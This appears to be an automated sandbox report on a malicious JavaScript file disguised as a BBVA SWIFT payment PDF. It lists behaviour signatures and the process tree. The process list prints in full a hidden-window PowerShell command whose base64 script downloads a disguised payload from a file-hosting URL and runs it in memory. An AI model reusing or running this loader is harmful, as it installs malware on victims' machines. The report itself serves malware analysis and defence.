Analysis
- max time kernel
149s - max time network
94s - platform
windows11-21h2_x64 - resource
win11-20251223-en - resource tags
- submitted
25/12/2025, 14:21
General
- Target (BBVA)_Mensaje SWIFT-PDF.js
- Size 4.0MB
- Sample251225-rn3meswjhm
- SHA256 2d69b310e05770207e0dfbc31f64586a5edefe9fa24ec1c66bada9d50a2f5d05
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\(BBVA)_Mensaje SWIFT-PDF.js"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('JABjAHkAYgBlAHIAZABlAHQAZQBjAHQAaQB2AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAYwB5AGIAZQByAGQAZQB0AGUAYwB0AGkAdgBlAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBVAHMAZQByAC0AQQBnAGUAbgB0ACIALAAgACIATQBvAHoAaQBsAGwAYQAvADUALgAwACIAKQA7ACQAYwB5AGIAZQByAGQAZQB0AGUAYwB0AGkAdgBlAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAiACwAIAAiAHQAZQB4AHQALwBoAHQAbQBsACwAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeABoAHQAbQBsACsAeABtAGwALABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALwB4AG0AbAA7AHEAPQAwAC4AOQAsACoALwAqADsAcQA9ADAALgA4ACIAKQA7ACQAYwB5AGIAZQByAGQAZQB0AGUAYwB0AGkAdgBlAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgBBAGMAYwBlAHAAdAAtAEwAYQBuAGcAdQBhAGcAZQAiACwAIAAiAGUAbgAtAFUAUwAsAGUAbgA7AHEAPQAwAC4AOQAiACkAOwAkAEoAbwBuAHMAbwBuAGkAYQBuACAAPQAgACcAaAB0AHQAcABzADoALwAvAGYAaQBsAGUALgBnAGEAcgBkAGUAbgAvAGEAVQBHAFgAXwBXAFcAWQBoAGkAdQBDAFkAQQB6AGYALwBvAHAAdABpAG0AaQB6AGUAZABfAE0AUwBJAC4AcABuAGcAJwA7ACQAaQBuAGMAaABlAHIAIAA9ACAAJABjAHkAYgBlAHIAZABlAHQAZQBjAHQAaQB2AGUALgBEAG8AdwBuAGwAbwBhAGQARABhAHQAYQAoACQASgBvAG4AcwBvAG4AaQBhAG4AKQA7ACQAcABlAHMAcwBpAG0AdQBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABpAG4AYwBoAGUAcgApADsAaQBmACAAKAAkAHAAZQBzAHMAaQBtAHUAbQAgAC0AbQBhAHQAYwBoACAAJwBCAGEAcwBlAFMAdABhAHIAdAAtACgALgAqAD8AKQAtAEIAYQBzAGUARQBuAGQAJwApACAAewAgACAAJAB1AG4AaABlAGEAcgBkACAAPQAgACQAbQBhAHQAYwBoAGUAcwBbADEAXQA7ACAAIAAkAHMAeQBtAGIAbwBsAGkAcwBtACAAPQAgAFsAUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHUAbgBoAGUAYQByAGQAKQApADsAIAAgACQAYQByAGcAcwBCAGEAcwBlADYANAAgAD0AIAAnAEoAdwBBAHcAQQBHAGcAQQBTAEEAQgBrAEEASABVAEEAVABRAEIARQBBAEUANABBAE0AQQBCAFIAQQBGAFEAQQBUAHcAQgA0AEEARQBrAEEAYQBnAEIATgBBAEgAawBBAFIAUQBCAFUAQQBFADQAQQBlAFEAQgBCAEEARwBvAEEAVABRAEIAbQBBAEQAawBBAGIAUQBCAGsAQQBIAEEAQQBWAGcAQgBZAEEARwBNAEEAZQBRAEIARwBBAEQASQBBAFQAQQBCADAAQQBEAGsAQQBNAGcAQgBaAEEASABVAEEAWQB3AEIAdABBAEcASQBBAE0AUQBCAEMAQQBGAGcAQQBZAGcAQgBvAEEASABRAEEATQBnAEIAYQBBAEgAVQBBAFIAZwBCAHQAQQBHAE0AQQBkAGcAQQA1AEEASABrAEEAVABBAEEAMgBBAEUAMABBAFMAQQBCAGoAQQBEAEEAQQBVAGcAQgBJAEEARwBFAEEASgB3AEEAcwBBAEMAYwBBAE0AQQBBAG4AQQBDAHcAQQBKAHcAQgBEAEEARABvAEEAWABBAEIAVgBBAEgATQBBAFoAUQBCAHkAQQBIAE0AQQBYAEEAQgBRAEEASABVAEEAWQBnAEIAcwBBAEcAawBBAFkAdwBCAGMAQQBFAFEAQQBiAHcAQgAzAEEARwA0AEEAYgBBAEIAdgBBAEcARQBBAFoAQQBCAHoAQQBGAHcAQQBKAHcAQQBzAEEAQwBjAEEAVABnAEIAaABBAEcAMABBAFoAUQBCAGYAQQBFAFkAQQBhAFEAQgBzAEEARwBVAEEASgB3AEEAcwBBAEMAYwBBAFkAdwBCAGgAQQBHAHcAQQBZAHcAQQBuAEEAQwB3AEEASgB3AEEAeABBAEMAYwBBAEwAQQBBAG4AQQBHAE0AQQBZAFEAQgBzAEEARwBNAEEASgB3AEEAcwBBAEMAYwBBAE0AQQBBAG4AQQBDAHcAQQBKAHcAQgBWAEEARgBJAEEAVABBAEEAbgBBAEMAdwBBAEoAdwBCAEQAQQBEAG8AQQBYAEEAQgBWAEEASABNAEEAWgBRAEIAeQBBAEgATQBBAFgAQQBCAFEAQQBIAFUAQQBZAGcAQgBzAEEARwBrAEEAWQB3AEIAYwBBAEUAUQBBAGIAdwBCADMAQQBHADQAQQBiAEEAQgB2AEEARwBFAEEAWgBBAEIAegBBAEYAdwBBAEoAdwBBAHMAQQBDAGMAQQBUAGcAQgBoAEEARwAwAEEAWgBRAEIAZgBBAEUAWQBBAGEAUQBCAHMAQQBHAFUAQQBKAHcAQQBzAEEAQwBjAEEAYQBnAEIAegBBAEMAYwBBAEwAQQBBAG4AQQBEAEUAQQBKAHcAQQBzAEEAQwBjAEEATQBBAEEAbgBBAEMAdwBBAEoAdwBCAFUAQQBHAEUAQQBjAHcAQgByAEEARgA4AEEAVABnAEIAaABBAEcAMABBAFoAUQBBAG4AQQBDAHcAQQBKAHcAQQB3AEEAQwBjAEEATABBAEEAbgBBAEMAYwBBAEwAQQBBAG4AQQBDAGMAQQBMAEEAQQBuAEEAQwBjAEEAJwA7ACAAIAAkAGEAcgBnAHMAUwB0AHIAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQByAGcAcwBCAGEAcwBlADYANAApACkAOwAgACAAJABhAHIAZwBzACAAPQAgACQAYQByAGcAcwBTAHQAcgBpAG4AZwAgAC0AcwBwAGwAaQB0ACAAJwAsACcAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAFQAcgBpAG0AKAAnACcAJwAiACcAIAApACAAfQA7ACAAIABbAFMAbwBmAHQAdwBhAHIAZQAuAFAAcgBvAGcAcgBhAG0AXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAIgBNAGEAaQBuACIAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAGEAcgBnAHMAKQA7AH0A')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_kpzi0hhb.eyg.ps1
memory/4948-0-0x000001F472A10000-0x000001F472A20000-memory.dmp
memory/4948-1-0x000001F472A10000-0x000001F472A20000-memory.dmp
memory/4948-2-0x000001F472980000-0x000001F4729A2000-memory.dmp
memory/4948-9-0x000001F472A10000-0x000001F472A20000-memory.dmp
memory/4948-10-0x000001F472D40000-0x000001F472DB0000-memory.dmp